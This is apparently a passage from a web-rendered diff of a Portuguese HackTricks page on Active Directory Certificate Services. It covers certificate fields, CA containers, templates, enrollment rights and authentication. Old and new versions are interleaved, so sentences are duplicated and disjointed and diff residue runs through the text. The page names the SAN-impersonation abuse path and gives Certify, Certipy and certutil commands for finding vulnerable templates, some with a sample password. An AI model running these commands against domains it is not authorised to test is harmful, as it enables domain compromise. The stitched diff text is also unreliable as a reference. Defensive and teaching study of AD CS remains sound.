- Uma **Chave Pública** é emparelhada com uma chave privada para vincular o certificado ao seu legítimo proprietário.
|
||||
- O **Período de Validade**, definido pelas datas **NotBefore** e **NotAfter**, marca a duração efetiva do certificado.
|
||||
- Um **Número de Série** único, fornecido pela Autoridade de Certificação (CA), identifica cada certificado.
|
||||
- O **Emissor** refere-se à CA que emitiu o certificado.
|
||||
- **SubjectAlternativeName** permite nomes adicionais para o assunto, aumentando a flexibilidade de identificação.
|
||||
- **Restrições Básicas** identificam se o certificado é para uma CA ou uma entidade final e definem restrições de uso.
|
||||
- **Usos Estendidos de Chave (EKUs)** delineiam os propósitos específicos do certificado, como assinatura de código ou criptografia de e-mail, por meio de Identificadores de Objetos (OIDs).
|
||||
- O **Algoritmo de Assinatura** especifica o método de assinatura do certificado.
|
||||
- A **Assinatura**, criada com a chave privada do emissor, garante a autenticidade do certificado.
|
||||
|
||||
#### Subject Alternative Names
|
||||
### Considerações Especiais
|
||||
|
||||
Um **Subject Alternative Name** (SAN) é uma extensão X.509v3. Ele permite **identidades adicionais** a serem vinculadas a um **certificado**. Por exemplo, se um servidor web hospeda **conteúdo para múltiplos domínios**, **cada** domínio aplicável poderia ser **incluído** no **SAN** para que o servidor web precise apenas de um único certificado HTTPS.
|
||||
- **Nomes Alternativos do Assunto (SANs)** expandem a aplicabilidade de um certificado para múltiplas identidades, crucial para servidores com vários domínios. Processos seguros de emissão são vitais para evitar riscos de impersonação por parte de atacantes que manipulam a especificação SAN.
|
||||
|
||||
Por padrão, durante a autenticação baseada em certificado, uma maneira de o AD mapear certificados para contas de usuário é com base em um UPN especificado no SAN. Se um atacante puder **especificar um SAN arbitrário** ao solicitar um certificado que tenha um **EKU que permita autenticação de cliente**, e a CA criar e assinar um certificado usando o SAN fornecido pelo atacante, o **atacante pode se tornar qualquer usuário no domínio**.
|
||||
### Autoridades de Certificação (CAs) no Active Directory (AD)
|
||||
|
||||
### CAs
|
||||
O AD CS reconhece certificados de CA em um floresta AD por meio de contêineres designados, cada um desempenhando funções únicas:
|
||||
|
||||
O AD CS define certificados de CA que a floresta AD confia em quatro locais sob o contêiner `CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>`, cada um diferindo pelo seu propósito:
|
||||
- O contêiner **Certification Authorities** mantém certificados de CA raiz confiáveis.
|
||||
- O contêiner **Enrolment Services** detalha CAs empresariais e seus modelos de certificado.
|
||||
- O objeto **NTAuthCertificates** inclui certificados de CA autorizados para autenticação AD.
|
||||
- O contêiner **AIA (Authority Information Access)** facilita a validação da cadeia de certificados com certificados intermediários e cruzados.
|
||||
|
||||
* O contêiner **Certification Authorities** define **certificados de CA raiz confiáveis**. Essas CAs estão no **topo da hierarquia da árvore PKI** e são a base da confiança nos ambientes AD CS. Cada CA é representada como um objeto AD dentro do contêiner onde o **objectClass** é definido como **`certificationAuthority`** e a propriedade **`cACertificate`** contém os **bytes** do **certificado da CA**. O Windows propaga esses certificados de CA para o armazenamento de certificados Trusted Root Certification Authorities em **cada máquina Windows**. Para que o AD considere um certificado como **confiável**, a cadeia de confiança do certificado deve eventualmente **terminar** com **uma das CAs raiz** definidas neste contêiner.
|
||||
* O contêiner **Enrolment Services** define cada **Enterprise CA** (ou seja, CAs criadas no AD CS com o papel de Enterprise CA habilitado). Cada Enterprise CA tem um objeto AD com os seguintes atributos:
|
||||
* Um atributo **objectClass** definido para **`pKIEnrollmentService`**
|
||||
* Um atributo **`cACertificate`** contendo os **bytes do certificado da CA**
|
||||
* Uma propriedade **`dNSHostName`** que define o **host DNS da CA**
|
||||
* Um campo **certificateTemplates** definindo os **modelos de certificado habilitados**. Modelos de certificado são um "blueprint" de configurações que a CA usa ao criar um certificado, e incluem coisas como os EKUs, permissões de inscrição, a expiração do certificado, requisitos de emissão e configurações de criptografia. Discutiremos modelos de certificado mais detalhadamente mais tarde.
|
||||
### Aquisição de Certificados: Fluxo de Solicitação de Certificado do Cliente
|
||||
|
||||
{% hint style="info" %}
|
||||
Em ambientes AD, **clientes interagem com Enterprise CAs para solicitar um certificado** com base nas configurações definidas em um modelo de certificado. Certificados de Enterprise CA são propagados para o armazenamento de certificados Intermediate Certification Authorities em cada máquina Windows
|
||||
{% endhint %}
|
||||
|
||||
* O objeto AD **NTAuthCertificates** define certificados de CA que permitem autenticação no AD. Este objeto tem um **objectClass** de **`certificationAuthority`** e a propriedade **`cACertificate`** do objeto define um array de **certificados de CA confiáveis**. Máquinas Windows unidas ao AD propagam essas CAs para o armazenamento de certificados Intermediate Certification Authorities em cada máquina. Aplicações **cliente** podem **autenticar** no AD usando um certificado apenas se uma das **CAs definidas pelo objeto NTAuthCertificates** tiver **assinado** o certificado do cliente autenticador.
|
||||
* O contêiner **AIA** (Authority Information Access) contém os objetos AD de CAs intermediárias e cruzadas. **CAs intermediárias são "filhas" de CAs raiz** na hierarquia da árvore PKI; como tal, este contêiner existe para ajudar na **validação de cadeias de certificados**. Como o contêiner Certification Authorities, cada **CA é representada como um objeto AD** no contêiner AIA onde o atributo objectClass é definido como certificationAuthority e a propriedade **`cACertificate`** contém os **bytes** do **certificado da CA**. Essas CAs são propagadas para o armazenamento de certificados Intermediate Certification Authorities em cada máquina Windows.
|
||||
|
||||
### Fluxo de Solicitação de Certificado do Cliente
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
É o processo para **obter um certificado** do AD CS. Em alto nível, durante a inscrição, os clientes primeiro **encontram uma Enterprise CA** com base nos **objetos no contêiner Enrolment Services** discutido acima.
|
||||
|
||||
1. Os clientes então geram um **par de chaves pública-privada** e
|
||||
2. colocam a chave pública em uma **mensagem de solicitação de assinatura de certificado (CSR)** junto com outros detalhes, como o subject do certificado e o **nome do modelo de certificado**. Os clientes então **assinam o CSR com sua chave privada** e enviam o CSR para um servidor Enterprise CA.
|
||||
3. O servidor **CA** verifica se o cliente **pode solicitar certificados**. Se sim, ele determina se emitirá um certificado consultando o objeto AD do **modelo de certificado** especificado no CSR. A CA verificará se o objeto AD do modelo de certificado **permite** que a conta autenticadora **obtenha um certificado**.
|
||||
4. Se sim, a **CA gera um certificado** usando as configurações de "blueprint" definidas pelo **modelo de certificado** (por exemplo, EKUs, configurações de criptografia e requisitos de emissão) e usando as outras informações fornecidas no CSR, se permitido pelas configurações do modelo do certificado. A **CA assina o certificado** usando sua chave privada e, em seguida, o retorna ao cliente.
|
||||
1. O processo de solicitação começa com os clientes encontrando uma CA empresarial.
|
||||
2. Um CSR é criado, contendo uma chave pública e outros detalhes, após a geração de um par de chaves pública-privada.
|
||||
3. A CA avalia o CSR em relação aos modelos de certificado disponíveis, emitindo o certificado com base nas permissões do modelo.
|
||||
4. Após a aprovação, a CA assina o certificado com sua chave privada e o retorna ao cliente.
|
||||
|
||||
### Modelos de Certificado
|
||||
|
||||
O AD CS armazena modelos de certificado disponíveis como objetos AD com um **objectClass** de **`pKICertificateTemplate`** localizado no seguinte contêiner:
|
||||
|
||||
`CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>`
|
||||
|
||||
Os atributos do objeto de modelo de certificado AD **definem suas configurações, e seu descritor de segurança controla** quais **princípios podem se inscrever** no certificado ou **editar** o modelo de certificado.
|
||||
|
||||
O atributo **`pKIExtendedKeyUsage`** em um objeto de modelo de certificado AD contém um **array de OIDs** habilitados no modelo. Esses OIDs EKU afetam **para que o certificado pode ser usado.** Você pode encontrar uma [lista de OIDs possíveis aqui](https://www.pkisolutions.com/object-identifiers-oid-in-pki/).
|
||||
|
||||
#### OIDs de Autenticação
|
||||
|
||||
* `1.3.6.1.5.5.7.3.2`: Client Authentication
|
||||
* `1.3.6.1.5.2.3.4`: PKINIT Client Authentication (precisa ser adicionado manualmente)
|
||||
* `1.3.6.1.4.1.311.20.2.2`: Smart Card Logon
|
||||
* `2.5.29.37.0`: Qualquer propósito
|
||||
* `(sem EKUs)`: SubCA
|
||||
* Um OID EKU adicional que descobrimos que poderíamos abusar é o OID Certificate Request Agent (`1.3.6.1.4.1.311.20.2.1`). Certificados com este OID podem ser usados para **solicitar certificados em nome de outro usuário** a menos que restrições específicas sejam impostas.
|
||||
Definidos dentro do AD, esses modelos delineiam as configurações e permissões para emissão de certificados, incluindo EKUs permitidos e direitos de inscrição ou modificação, essenciais para gerenciar o acesso aos serviços de certificado.
|
||||
|
||||
## Inscrição de Certificado
|
||||
|
||||
Um administrador precisa **criar o modelo de certificado** e então uma **Enterprise CA "publica"** o modelo, tornando-o disponível para os clientes se inscreverem. O AD CS especifica que um modelo de certificado está habilitado em uma Enterprise CA **adicionando o nome do modelo ao campo `certificatetemplates`** do objeto AD.
|
||||
O processo de inscrição para certificados é iniciado por um administrador que **cria um modelo de certificado**, que é então **publicado** por uma Autoridade de Certificação Empresarial (CA). Isso torna o modelo disponível para inscrição de clientes, um passo alcançado adicionando o nome do modelo ao campo `certificatetemplates` de um objeto do Active Directory.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Para que um cliente solicite um certificado, os **direitos de inscrição** devem ser concedidos. Esses direitos são definidos por descritores de segurança no modelo de certificado e na própria CA empresarial. Permissões devem ser concedidas em ambos os locais para que uma solicitação seja bem-sucedida.
|
||||
|
||||
{% hint style="warning" %}
|
||||
O AD CS define direitos de inscrição - quais **princípios podem solicitar** um certificado – usando dois descritores de segurança: um no objeto AD do **modelo de certificado** e outro na **própria Enterprise CA**.\
|
||||
Um cliente precisa ser concedido em ambos os descritores de segurança para poder solicitar um certificado.
|
||||
{% endhint %}
|
||||
### Direitos de Inscrição de Modelo
|
||||
|
||||
### Direitos de Inscrição de Modelos de Certificado
|
||||
Esses direitos são especificados por Entradas de Controle de Acesso (ACEs), detalhando permissões como:
|
||||
- Direitos de **Certificate-Enrollment** e **Certificate-AutoEnrollment**, cada um associado a GUIDs específicos.
|
||||
- **ExtendedRights**, permitindo todas as permissões estendidas.
|
||||
- **FullControl/GenericAll**, fornecendo controle total sobre o modelo.
|
||||
|
||||
* **O ACE concede a um princípio o direito estendido de Certificate-Enrollment**. O ACE bruto concede ao princípio o direito de acesso `RIGHT_DS_CONTROL_ACCESS45` onde o **ObjectType** é definido como `0e10c968-78fb-11d2-90d4-00c04f79dc5547`. Este GUID corresponde ao direito estendido **Certificate-Enrolment**.
|
||||
* **O ACE concede a um princípio o direito estendido de Certificate-AutoEnrollment**. O ACE bruto concede ao princípio o direito de acesso `RIGHT_DS_CONTROL_ACCESS48` onde o **ObjectType** é definido como `a05b8cc2-17bc-4802-a710-e7c15ab866a249`. Este GUID corresponde ao direito estendido **Certificate-AutoEnrollment**.
|
||||
* **Um ACE concede a um princípio todos os ExtendedRights**. O ACE bruto habilita o direito de acesso `RIGHT_DS_CONTROL_ACCESS` onde o **ObjectType** é definido como `00000000-0000-0000-0000-000000000000`. Este GUID corresponde a **todos os direitos estendidos**.
|
||||
* **Um ACE concede a um princípio FullControl/GenericAll**. O ACE bruto habilita o direito de acesso FullControl/GenericAll.
|
||||
### Direitos de Inscrição da CA Empresarial
|
||||
|
||||
### Direitos de Inscrição da Enterprise CA
|
||||
Os direitos da CA são delineados em seu descritor de segurança, acessível por meio do console de gerenciamento da Autoridade de Certificação. Algumas configurações até permitem que usuários com baixos privilégios acessem remotamente, o que poderia ser uma preocupação de segurança.
|
||||
|
||||
O **descritor de segurança** configurado na **Enterprise CA** define esses direitos e é **visível** no snap-in MMC da Autoridade de Certificação `certsrv.msc` clicando com o botão direito na CA → Propriedades → Segurança.
|
||||
### Controles de Emissão Adicionais
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Certos controles podem ser aplicados, como:
|
||||
- **Aprovação do Gerente**: Coloca solicitações em um estado pendente até serem aprovadas por um gerente de certificados.
|
||||
- **Agentes de Inscrição e Assinaturas Autorizadas**: Especificam o número de assinaturas necessárias em um CSR e as Políticas de Aplicação OIDs necessárias.
|
||||
|
||||
Isso acaba configurando o valor de Segurança no registro **`HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<CA NAME>`** no servidor CA. Encontramos vários servidores AD CS que concedem a usuários com poucos privilégios acesso remoto a essa chave via registro remoto:
|
||||
### Métodos para Solicitar Certificados
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
Certificados podem ser solicitados por meio de:
|
||||
1. **Protocolo de Inscrição de Certificado do Cliente Windows** (MS-WCCE), usando interfaces DCOM.
|
||||
2. **Protocolo Remoto ICertPassage** (MS-ICPR), por meio de pipes nomeados ou TCP/IP.
|
||||
3. A **interface web de inscrição de certificado**, com a função de Inscrição Web da Autoridade de Certificação instalada.
|
||||
4. O **Serviço de Inscrição de Certificado** (CES), em conjunto com o serviço de Política de Inscrição de Certificado (CEP).
|
||||
5. O **Serviço de Inscrição de Dispositivos de Rede** (NDES) para dispositivos de rede, usando o Protocolo Simples de Inscrição de Certificado (SCEP).
|
||||
|
||||
Usuários com poucos privilégios também podem **enumerar isso via DCOM** usando a interface COM `ICertAdminD2` e o método `GetCASecurity`. No entanto, clientes Windows normais precisam instalar as Ferramentas de Administração de Servidor Remoto (RSAT) para usá-lo, pois a interface COM e quaisquer objetos COM que a implementam não estão presentes no Windows por padrão.
|
||||
Usuários do Windows também podem solicitar certificados por meio da GUI (`certmgr.msc` ou `certlm.msc`) ou ferramentas de linha de comando (`certreq.exe` ou comando `Get-Certificate` do PowerShell).
|
||||
```powershell
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
## Autenticação de Certificado
|
||||
|
||||
### Requisitos de Emissão
|
||||
O Active Directory (AD) suporta autenticação de certificado, utilizando principalmente os protocolos **Kerberos** e **Secure Channel (Schannel)**.
|
||||
|
||||
Outros requisitos podem estar em vigor para controlar quem pode obter um certificado.
|
||||
### Processo de Autenticação Kerberos
|
||||
|
||||
#### Aprovação do Gerente
|
||||
|
||||
**A aprovação do gerente do certificado da CA** resulta na configuração do modelo de certificado definindo o bit `CT_FLAG_PEND_ALL_REQUESTS` (0x2) no atributo `msPKI-EnrollmentFlag` do objeto AD. Isso coloca todas as **solicitações de certificado** baseadas no modelo no **estado pendente** (visível na seção "Solicitações Pendentes" em `certsrv.msc`), o que requer que um gerente de certificado **aprove ou negue** a solicitação antes que o certificado seja emitido:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (13) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Agentes de Inscrição, Assinaturas Autorizadas e Políticas de Aplicação
|
||||
|
||||
**O número de assinaturas autorizadas** e a **Política de aplicação**. O primeiro controla o **número de assinaturas necessárias** no CSR para que a CA o aceite. O último define os **OIDs EKU que o certificado de assinatura do CSR deve ter**.
|
||||
|
||||
Um uso comum para essas configurações é para **agentes de inscrição**. Um agente de inscrição é um termo do AD CS dado a uma entidade que pode **solicitar certificados em nome de outro usuário**. Para fazer isso, a CA deve emitir ao agente de inscrição uma conta de certificado contendo pelo menos o **EKU de Agente de Solicitação de Certificado** (OID 1.3.6.1.4.1.311.20.2.1). Uma vez emitido, o agente de inscrição pode então **assinar CSRs e solicitar certificados em nome de outros usuários**. A CA **emitirá** o certificado do agente de inscrição como **outro usuário** apenas sob o seguinte conjunto não exaustivo de **condições** (
|
||||
No processo de autenticação Kerberos, a solicitação de um Ticket Granting Ticket (TGT) de um usuário é assinada usando a **chave privada** do certificado do usuário. Esta solicitação passa por várias validações pelo controlador de domínio, incluindo a **validade**, **caminho** e **status de revogação** do certificado. As validações também incluem verificar se o certificado vem de uma fonte confiável e confirmar a presença do emissor na loja de certificados **NTAUTH**. Validações bem-sucedidas resultam na emissão de um TGT. O objeto **`NTAuthCertificates`** no AD, encontrado em:
|
||||
```bash
|
||||
# https://github.com/GhostPack/Certify
|
||||
Certify.exe cas #enumerate trusted root CA certificates, certificates defined by the NTAuthCertificates object, and various information about Enterprise CAs
|
||||
Certify.exe find #enumerate certificate templates
|
||||
Certify.exe find /vulnerable #Enumerate vulenrable certificate templater
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
é fundamental para estabelecer confiança para autenticação de certificados.
|
||||
|
||||
# https://github.com/ly4k/Certipy
|
||||
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
|
||||
certipy find -vulnerable [-hide-admins] -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 #Search vulnerable templates
|
||||
### Autenticação do Canal Seguro (Schannel)
|
||||
|
||||
certutil.exe -TCAInfo #enumerate Enterprise CAs
|
||||
certutil -v -dstemplate #enumerate certificate templates
|
||||
O Schannel facilita conexões seguras TLS/SSL, onde durante um handshake, o cliente apresenta um certificado que, se validado com sucesso, autoriza o acesso. O mapeamento de um certificado para uma conta AD pode envolver a função **S4U2Self** do Kerberos ou o **Nome Alternativo do Assunto (SAN)** do certificado, entre outros métodos.
|
||||
|
||||
### Enumeração de Serviços de Certificado AD
|
||||
|
||||
Os serviços de certificado do AD podem ser enumerados por meio de consultas LDAP, revelando informações sobre **Autoridades de Certificação Empresariais (CAs)** e suas configurações. Isso é acessível por qualquer usuário autenticado no domínio sem privilégios especiais. Ferramentas como **[Certify](https://github.com/GhostPack/Certify)** e **[Certipy](https://github.com/ly4k/Certipy)** são usadas para enumeração e avaliação de vulnerabilidades em ambientes AD CS.
|
||||
|
||||
Comandos para usar essas ferramentas incluem:
|
||||
```bash
|
||||
# Enumerate trusted root CA certificates and Enterprise CAs with Certify
|
||||
Certify.exe cas
|
||||
# Identify vulnerable certificate templates with Certify
|
||||
Certify.exe find /vulnerable
|
||||
|
||||
# Use Certipy for enumeration and identifying vulnerable templates
|
||||
certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
|
||||
|
||||
# Enumerate Enterprise CAs and certificate templates with certutil
|
||||
certutil.exe -TCAInfo
|
||||
certutil -v -dstemplate
|
||||
```
|
||||
## Referências
|
||||
|
||||
|
@ -154,14 +131,14 @@ certutil -v -dstemplate #enumerate certificate templates
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue